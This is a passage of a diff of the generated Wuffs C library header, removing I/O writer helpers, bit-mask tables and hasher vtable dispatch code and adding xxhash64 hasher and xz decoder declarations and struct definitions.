+-wuffs_base__io_writer__copy_from_slice(uint8_t** ptr_iop_w, +- uint8_t* io2_w, +- wuffs_base__slice_u8 src) { +- uint8_t* iop_w = *ptr_iop_w; +- size_t n = src.len; +- if (n > ((size_t)(io2_w - iop_w))) { +- n = (size_t)(io2_w - iop_w); +- } +- if (n > 0) { +- memmove(iop_w, src.ptr, n); +- *ptr_iop_w += n; +- } +- return (uint64_t)(n); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash64__hasher__checksum_u64( ++ const wuffs_xxhash64__hasher* self); + +-static inline void // +-wuffs_base__io_writer__limit(uint8_t** ptr_io2_w, +- uint8_t* iop_w, +- uint64_t limit) { +- if (((uint64_t)(*ptr_io2_w - iop_w)) > limit) { +- *ptr_io2_w = iop_w + limit; +- } +-} ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_history(uint8_t** ptr_iop_w, +- uint8_t* io0_w, +- uint8_t* io2_w, +- uint32_t length, +- uint32_t distance) { +- if (!distance) { +- return 0; +- } +- uint8_t* p = *ptr_iop_w; +- if ((size_t)(p - io0_w) < (size_t)(distance)) { +- return 0; +- } +- uint8_t* q = p - distance; +- size_t n = (size_t)(io2_w - p); +- if ((size_t)(length) > n) { +- length = (uint32_t)(n); +- } else { +- n = (size_t)(length); +- } +- // TODO: unrolling by 3 seems best for the std/deflate benchmarks, but that +- // is mostly because 3 is the minimum length for the deflate format. This +- // function implementation shouldn't overfit to that one format. Perhaps the +- // limited_copy_u32_from_history Wuffs method should also take an unroll hint +- // argument, and the cgen can look if that argument is the constant +- // expression '3'. +- // +- // See also wuffs_base__io_writer__limited_copy_u32_from_history_fast below. +- for (; n >= 3; n -= 3) { +- *p++ = *q++; +- *p++ = *q++; +- *p++ = *q++; +- } +- for (; n; n--) { +- *p++ = *q++; +- } +- *ptr_iop_w = p; +- return length; +-} ++// ---------------- Struct Definitions + +-// wuffs_base__io_writer__limited_copy_u32_from_history_fast is like the +-// wuffs_base__io_writer__limited_copy_u32_from_history function above, but has +-// stronger pre-conditions. ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. + // +-// The caller needs to prove that: +-// - length <= (io2_w - *ptr_iop_w) +-// - distance >= 1 +-// - distance <= (*ptr_iop_w - io0_w) +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_history_fast(uint8_t** ptr_iop_w, +- uint8_t* io0_w, +- uint8_t* io2_w, +- uint32_t length, +- uint32_t distance) { +- uint8_t* p = *ptr_iop_w; +- uint8_t* q = p - distance; +- uint32_t n = length; +- for (; n >= 3; n -= 3) { +- *p++ = *q++; +- *p++ = *q++; +- *p++ = *q++; +- } +- for (; n; n--) { +- *p++ = *q++; ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_xxhash64__hasher__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__hasher_u64; ++ wuffs_base__vtable null_vtable; ++ ++ uint64_t f_length_modulo_u64; ++ bool f_length_overflows_u64; ++ uint8_t f_padding0; ++ uint8_t f_padding1; ++ uint8_t f_padding2; ++ uint32_t f_buf_len; ++ uint8_t f_buf_data[32]; ++ uint64_t f_v0; ++ uint64_t f_v1; ++ uint64_t f_v2; ++ uint64_t f_v3; ++ } private_impl; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_xxhash64__hasher__alloc()); + } +- *ptr_iop_w = p; +- return length; +-} + +-// wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast +-// copies the previous byte (the one immediately before *ptr_iop_w), copying 8 +-// byte chunks at a time. Each chunk contains 8 repetitions of the same byte. +-// +-// In terms of number of bytes copied, length is rounded up to a multiple of 8. +-// As a special case, a zero length rounds up to 8 (even though 0 is already a +-// multiple of 8), since there is always at least one 8 byte chunk copied. +-// +-// In terms of advancing *ptr_iop_w, length is not rounded up. +-// +-// The caller needs to prove that: +-// - (length + 8) <= (io2_w - *ptr_iop_w) +-// - distance == 1 +-// - distance <= (*ptr_iop_w - io0_w) +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( +- uint8_t** ptr_iop_w, +- uint8_t* io0_w, +- uint8_t* io2_w, +- uint32_t length, +- uint32_t distance) { +- uint8_t* p = *ptr_iop_w; +- uint64_t x = p[-1]; +- x |= x << 8; +- x |= x << 16; +- x |= x << 32; +- uint32_t n = length; +- while (1) { +- wuffs_base__poke_u64le__no_bounds_check(p, x); +- if (n <= 8) { +- p += n; +- break; +- } +- p += 8; +- n -= 8; ++ static inline wuffs_base__hasher_u64::unique_ptr ++ alloc_as__wuffs_base__hasher_u64() { ++ return wuffs_base__hasher_u64::unique_ptr( ++ wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64()); + } +- *ptr_iop_w = p; +- return length; +-} ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +-// wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast is +-// like the wuffs_base__io_writer__limited_copy_u32_from_history_fast function +-// above, but copies 8 byte chunks at a time. +-// +-// In terms of number of bytes copied, length is rounded up to a multiple of 8. +-// As a special case, a zero length rounds up to 8 (even though 0 is already a +-// multiple of 8), since there is always at least one 8 byte chunk copied. +-// +-// In terms of advancing *ptr_iop_w, length is not rounded up. +-// +-// The caller needs to prove that: +-// - (length + 8) <= (io2_w - *ptr_iop_w) +-// - distance >= 8 +-// - distance <= (*ptr_iop_w - io0_w) +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( +- uint8_t** ptr_iop_w, +- uint8_t* io0_w, +- uint8_t* io2_w, +- uint32_t length, +- uint32_t distance) { +- uint8_t* p = *ptr_iop_w; +- uint8_t* q = p - distance; +- uint32_t n = length; +- while (1) { +- memcpy(p, q, 8); +- if (n <= 8) { +- p += n; +- break; +- } +- p += 8; +- q += 8; +- n -= 8; ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_xxhash64__hasher__struct() = delete; ++ wuffs_xxhash64__hasher__struct(const wuffs_xxhash64__hasher__struct&) = delete; ++ wuffs_xxhash64__hasher__struct& operator=( ++ const wuffs_xxhash64__hasher__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_xxhash64__hasher__initialize( ++ this, sizeof_star_self, wuffs_version, options); + } +- *ptr_iop_w = p; +- return length; +-} + +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_reader(uint8_t** ptr_iop_w, +- uint8_t* io2_w, +- uint32_t length, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r) { +- uint8_t* iop_w = *ptr_iop_w; +- size_t n = length; +- if (n > ((size_t)(io2_w - iop_w))) { +- n = (size_t)(io2_w - iop_w); ++ inline wuffs_base__hasher_u64* ++ upcast_as__wuffs_base__hasher_u64() { ++ return (wuffs_base__hasher_u64*)this; + } +- const uint8_t* iop_r = *ptr_iop_r; +- if (n > ((size_t)(io2_r - iop_r))) { +- n = (size_t)(io2_r - iop_r); ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_xxhash64__hasher__get_quirk(this, a_key); + } +- if (n > 0) { +- memmove(iop_w, iop_r, n); +- *ptr_iop_w += n; +- *ptr_iop_r += n; ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_xxhash64__hasher__set_quirk(this, a_key, a_value); + } +- return (uint32_t)(n); +-} + +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_slice(uint8_t** ptr_iop_w, +- uint8_t* io2_w, +- uint32_t length, +- wuffs_base__slice_u8 src) { +- uint8_t* iop_w = *ptr_iop_w; +- size_t n = src.len; +- if (n > length) { +- n = length; ++ inline wuffs_base__empty_struct ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_xxhash64__hasher__update(this, a_x); + } +- if (n > ((size_t)(io2_w - iop_w))) { +- n = (size_t)(io2_w - iop_w); ++ ++ inline uint64_t ++ update_u64( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_xxhash64__hasher__update_u64(this, a_x); + } +- if (n > 0) { +- memmove(iop_w, src.ptr, n); +- *ptr_iop_w += n; ++ ++ inline uint64_t ++ checksum_u64() const { ++ return wuffs_xxhash64__hasher__checksum_u64(this); + } +- return (uint32_t)(n); +-} + +-static inline wuffs_base__io_buffer* // +-wuffs_base__io_writer__set(wuffs_base__io_buffer* b, +- uint8_t** ptr_iop_w, +- uint8_t** ptr_io0_w, +- uint8_t** ptr_io1_w, +- uint8_t** ptr_io2_w, +- wuffs_base__slice_u8 data, +- uint64_t history_position) { +- b->data = data; +- b->meta.wi = 0; +- b->meta.ri = 0; +- b->meta.pos = history_position; +- b->meta.closed = false; ++#endif // __cplusplus ++}; // struct wuffs_xxhash64__hasher__struct + +- *ptr_iop_w = data.ptr; +- *ptr_io0_w = data.ptr; +- *ptr_io1_w = data.ptr; +- *ptr_io2_w = data.ptr + data.len; ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- return b; +-} ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) + +-// ---------------- I/O (Utility) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) || defined(WUFFS_NONMONOLITHIC) + +-#define wuffs_base__utility__empty_io_reader wuffs_base__empty_io_reader +-#define wuffs_base__utility__empty_io_writer wuffs_base__empty_io_writer ++// ---------------- Status Codes + +-// ---------------- Tokens ++extern const char wuffs_xz__error__bad_bcj_offset[]; ++extern const char wuffs_xz__error__bad_block_header[]; ++extern const char wuffs_xz__error__bad_checksum[]; ++extern const char wuffs_xz__error__bad_filter[]; ++extern const char wuffs_xz__error__bad_footer[]; ++extern const char wuffs_xz__error__bad_header[]; ++extern const char wuffs_xz__error__bad_header_concatenated_stream[]; ++extern const char wuffs_xz__error__bad_index[]; ++extern const char wuffs_xz__error__bad_padding[]; ++extern const char wuffs_xz__error__truncated_input[]; ++extern const char wuffs_xz__error__unsupported_checksum_algorithm[]; ++extern const char wuffs_xz__error__unsupported_filter[]; ++extern const char wuffs_xz__error__unsupported_filter_combination[]; + +-// ---------------- Tokens (Utility) ++// ---------------- Public Consts + +-// ---------------- Memory Allocation ++#define WUFFS_XZ__QUIRK_DECODE_STANDALONE_CONCATENATED_STREAMS 2021322752u + +-// ---------------- Images ++#define WUFFS_XZ__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( +- const wuffs_base__pixel_swizzler* p, +- uint32_t up_to_num_pixels, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r); ++#define WUFFS_XZ__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 4294967568u + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r); ++// ---------------- Struct Declarations + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- uint64_t num_pixels); ++typedef struct wuffs_xz__decoder__struct wuffs_xz__decoder; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_swizzler__swizzle_ycck( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_buffer* dst, +- wuffs_base__slice_u8 dst_palette, +- uint32_t width, +- uint32_t height, +- wuffs_base__slice_u8 src0, +- wuffs_base__slice_u8 src1, +- wuffs_base__slice_u8 src2, +- wuffs_base__slice_u8 src3, +- uint32_t width0, +- uint32_t width1, +- uint32_t width2, +- uint32_t width3, +- uint32_t height0, +- uint32_t height1, +- uint32_t height2, +- uint32_t height3, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t stride3, +- uint8_t h0, +- uint8_t h1, +- uint8_t h2, +- uint8_t h3, +- uint8_t v0, +- uint8_t v1, +- uint8_t v2, +- uint8_t v3, +- bool is_rgb_or_cmyk, +- bool triangle_filter_for_2to1, +- wuffs_base__slice_u8 scratch_buffer_2k); ++#ifdef __cplusplus ++extern "C" { ++#endif + +-// ---------------- Images (Utility) ++// ---------------- Public Initializer Prototypes + +-#define wuffs_base__utility__make_pixel_format wuffs_base__make_pixel_format ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-// ---------------- String Conversions ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_xz__decoder__initialize( ++ wuffs_xz__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +-// ---------------- Unicode and UTF-8 ++size_t ++sizeof__wuffs_xz__decoder(void); + +-// ---------------- ++// ---------------- Allocs + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__CORE) ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +-const uint8_t wuffs_base__low_bits_mask__u8[8] = { +- 0x00, 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3F, 0x7F, +-}; ++wuffs_xz__decoder* ++wuffs_xz__decoder__alloc(void); + +-const uint16_t wuffs_base__low_bits_mask__u16[16] = { +- 0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, +- 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, +-}; ++static inline wuffs_base__io_transformer* ++wuffs_xz__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_xz__decoder__alloc()); ++} + +-const uint32_t wuffs_base__low_bits_mask__u32[32] = { +- 0x00000000, 0x00000001, 0x00000003, 0x00000007, 0x0000000F, 0x0000001F, +- 0x0000003F, 0x0000007F, 0x000000FF, 0x000001FF, 0x000003FF, 0x000007FF, +- 0x00000FFF, 0x00001FFF, 0x00003FFF, 0x00007FFF, 0x0000FFFF, 0x0001FFFF, +- 0x0003FFFF, 0x0007FFFF, 0x000FFFFF, 0x001FFFFF, 0x003FFFFF, 0x007FFFFF, +- 0x00FFFFFF, 0x01FFFFFF, 0x03FFFFFF, 0x07FFFFFF, 0x0FFFFFFF, 0x1FFFFFFF, +- 0x3FFFFFFF, 0x7FFFFFFF, +-}; ++// ---------------- Upcasts + +-const uint64_t wuffs_base__low_bits_mask__u64[64] = { +- 0x0000000000000000, 0x0000000000000001, 0x0000000000000003, +- 0x0000000000000007, 0x000000000000000F, 0x000000000000001F, +- 0x000000000000003F, 0x000000000000007F, 0x00000000000000FF, +- 0x00000000000001FF, 0x00000000000003FF, 0x00000000000007FF, +- 0x0000000000000FFF, 0x0000000000001FFF, 0x0000000000003FFF, +- 0x0000000000007FFF, 0x000000000000FFFF, 0x000000000001FFFF, +- 0x000000000003FFFF, 0x000000000007FFFF, 0x00000000000FFFFF, +- 0x00000000001FFFFF, 0x00000000003FFFFF, 0x00000000007FFFFF, +- 0x0000000000FFFFFF, 0x0000000001FFFFFF, 0x0000000003FFFFFF, +- 0x0000000007FFFFFF, 0x000000000FFFFFFF, 0x000000001FFFFFFF, +- 0x000000003FFFFFFF, 0x000000007FFFFFFF, 0x00000000FFFFFFFF, +- 0x00000001FFFFFFFF, 0x00000003FFFFFFFF, 0x00000007FFFFFFFF, +- 0x0000000FFFFFFFFF, 0x0000001FFFFFFFFF, 0x0000003FFFFFFFFF, +- 0x0000007FFFFFFFFF, 0x000000FFFFFFFFFF, 0x000001FFFFFFFFFF, +- 0x000003FFFFFFFFFF, 0x000007FFFFFFFFFF, 0x00000FFFFFFFFFFF, +- 0x00001FFFFFFFFFFF, 0x00003FFFFFFFFFFF, 0x00007FFFFFFFFFFF, +- 0x0000FFFFFFFFFFFF, 0x0001FFFFFFFFFFFF, 0x0003FFFFFFFFFFFF, +- 0x0007FFFFFFFFFFFF, 0x000FFFFFFFFFFFFF, 0x001FFFFFFFFFFFFF, +- 0x003FFFFFFFFFFFFF, 0x007FFFFFFFFFFFFF, 0x00FFFFFFFFFFFFFF, +- 0x01FFFFFFFFFFFFFF, 0x03FFFFFFFFFFFFFF, 0x07FFFFFFFFFFFFFF, +- 0x0FFFFFFFFFFFFFFF, 0x1FFFFFFFFFFFFFFF, 0x3FFFFFFFFFFFFFFF, +- 0x7FFFFFFFFFFFFFFF, +-}; ++static inline wuffs_base__io_transformer* ++wuffs_xz__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_xz__decoder* p) { ++ return (wuffs_base__io_transformer*)p; ++} + +-const uint32_t wuffs_base__pixel_format__bits_per_channel[16] = { +- 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, +- 0x08, 0x0A, 0x0C, 0x10, 0x18, 0x20, 0x30, 0x40, +-}; ++// ---------------- Public Function Prototypes + +-const char wuffs_base__note__i_o_redirect[] = "@base: I/O redirect"; +-const char wuffs_base__note__end_of_data[] = "@base: end of data"; +-const char wuffs_base__note__metadata_reported[] = "@base: metadata reported"; +-const char wuffs_base__suspension__even_more_information[] = "$base: even more information"; +-const char wuffs_base__suspension__mispositioned_read[] = "$base: mispositioned read"; +-const char wuffs_base__suspension__mispositioned_write[] = "$base: mispositioned write"; +-const char wuffs_base__suspension__short_read[] = "$base: short read"; +-const char wuffs_base__suspension__short_write[] = "$base: short write"; +-const char wuffs_base__error__bad_i_o_position[] = "#base: bad I/O position"; +-const char wuffs_base__error__bad_argument_length_too_short[] = "#base: bad argument (length too short)"; +-const char wuffs_base__error__bad_argument[] = "#base: bad argument"; +-const char wuffs_base__error__bad_call_sequence[] = "#base: bad call sequence"; +-const char wuffs_base__error__bad_data[] = "#base: bad data"; +-const char wuffs_base__error__bad_receiver[] = "#base: bad receiver"; +-const char wuffs_base__error__bad_restart[] = "#base: bad restart"; +-const char wuffs_base__error__bad_sizeof_receiver[] = "#base: bad sizeof receiver"; +-const char wuffs_base__error__bad_vtable[] = "#base: bad vtable"; +-const char wuffs_base__error__bad_workbuf_length[] = "#base: bad workbuf length"; +-const char wuffs_base__error__bad_wuffs_version[] = "#base: bad wuffs version"; +-const char wuffs_base__error__cannot_return_a_suspension[] = "#base: cannot return a suspension"; +-const char wuffs_base__error__disabled_by_previous_error[] = "#base: disabled by previous error"; +-const char wuffs_base__error__initialize_falsely_claimed_already_zeroed[] = "#base: initialize falsely claimed already zeroed"; +-const char wuffs_base__error__initialize_not_called[] = "#base: initialize not called"; +-const char wuffs_base__error__interleaved_coroutine_calls[] = "#base: interleaved coroutine calls"; +-const char wuffs_base__error__no_more_information[] = "#base: no more information"; +-const char wuffs_base__error__not_enough_data[] = "#base: not enough data"; +-const char wuffs_base__error__out_of_bounds[] = "#base: out of bounds"; +-const char wuffs_base__error__unsupported_image_dimension[] = "#base: unsupported image dimension"; +-const char wuffs_base__error__unsupported_method[] = "#base: unsupported method"; +-const char wuffs_base__error__unsupported_option[] = "#base: unsupported option"; +-const char wuffs_base__error__unsupported_pixel_swizzler_option[] = "#base: unsupported pixel swizzler option"; +-const char wuffs_base__error__too_much_data[] = "#base: too much data"; +- +-const char wuffs_base__hasher_u32__vtable_name[] = "{vtable}wuffs_base__hasher_u32"; +-const char wuffs_base__hasher_u64__vtable_name[] = "{vtable}wuffs_base__hasher_u64"; +-const char wuffs_base__image_decoder__vtable_name[] = "{vtable}wuffs_base__image_decoder"; +-const char wuffs_base__io_transformer__vtable_name[] = "{vtable}wuffs_base__io_transformer"; +-const char wuffs_base__token_decoder__vtable_name[] = "{vtable}wuffs_base__token_decoder"; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xz__decoder__get_quirk( ++ const wuffs_xz__decoder* self, ++ uint32_t a_key); + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__CORE) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xz__decoder__set_quirk( ++ wuffs_xz__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_xz__decoder__dst_history_retain_length( ++ const wuffs_xz__decoder* self); + +-// ---------------- Interface Definitions. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_xz__decoder__workbuf_len( ++ const wuffs_xz__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_base__hasher_u32__checksum_u32( +- const wuffs_base__hasher_u32* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xz__decoder__transform_io( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->checksum_u32)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#ifdef __cplusplus ++} // extern "C" ++#endif + +- return 0; +-} ++// ---------------- Struct Definitions + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__hasher_u32__get_quirk( +- const wuffs_base__hasher_u32* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- return 0; +-} ++struct wuffs_xz__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__hasher_u32__set_quirk( +- wuffs_base__hasher_u32* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; ++ wuffs_base__vtable null_vtable; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ uint32_t f_filters[3]; ++ uint32_t f_num_non_final_filters; ++ uint8_t f_checksummer; ++ bool f_ignore_checksum; ++ bool f_standalone_format; ++ bool f_lzma_needs_reset; ++ bool f_block_has_compressed_size; ++ bool f_block_has_uncompressed_size; ++ uint8_t f_bcj_undo_index; ++ uint32_t f_bcj_pos; ++ uint32_t f_bcj_x86_prev_mask; ++ uint64_t f_block_compressed_size; ++ uint64_t f_block_uncompressed_size; ++ uint64_t f_compressed_size_for_index; ++ uint32_t f_verification_have_hashed_sizes[2]; ++ uint32_t f_verification_want_hashed_sizes[2]; ++ uint64_t f_verification_have_total_sizes[2]; ++ uint64_t f_verification_want_total_sizes[2]; ++ uint64_t f_num_actual_blocks; ++ uint64_t f_num_index_blocks; ++ uint64_t f_index_block_compressed_size; ++ uint64_t f_index_block_uncompressed_size; ++ uint64_t f_backwards_size; ++ bool f_started_verify_index; ++ uint16_t f_flags; ++ ++ uint8_t (*choosy_apply_non_final_filters)( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; ++ uint32_t p_decode_block_header_with_padding; ++ uint32_t p_decode_block_header_sans_padding; ++ uint32_t p_verify_index; ++ uint32_t p_verify_footer; ++ } private_impl; + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ struct { ++ uint8_t f_filter_data[3][256]; ++ wuffs_crc32__ieee_hasher f_crc32; ++ wuffs_crc64__ecma_hasher f_crc64; ++ wuffs_sha256__hasher f_sha256; ++ wuffs_lzma__decoder f_lzma; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_base__hasher_u32__update( +- wuffs_base__hasher_u32* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- 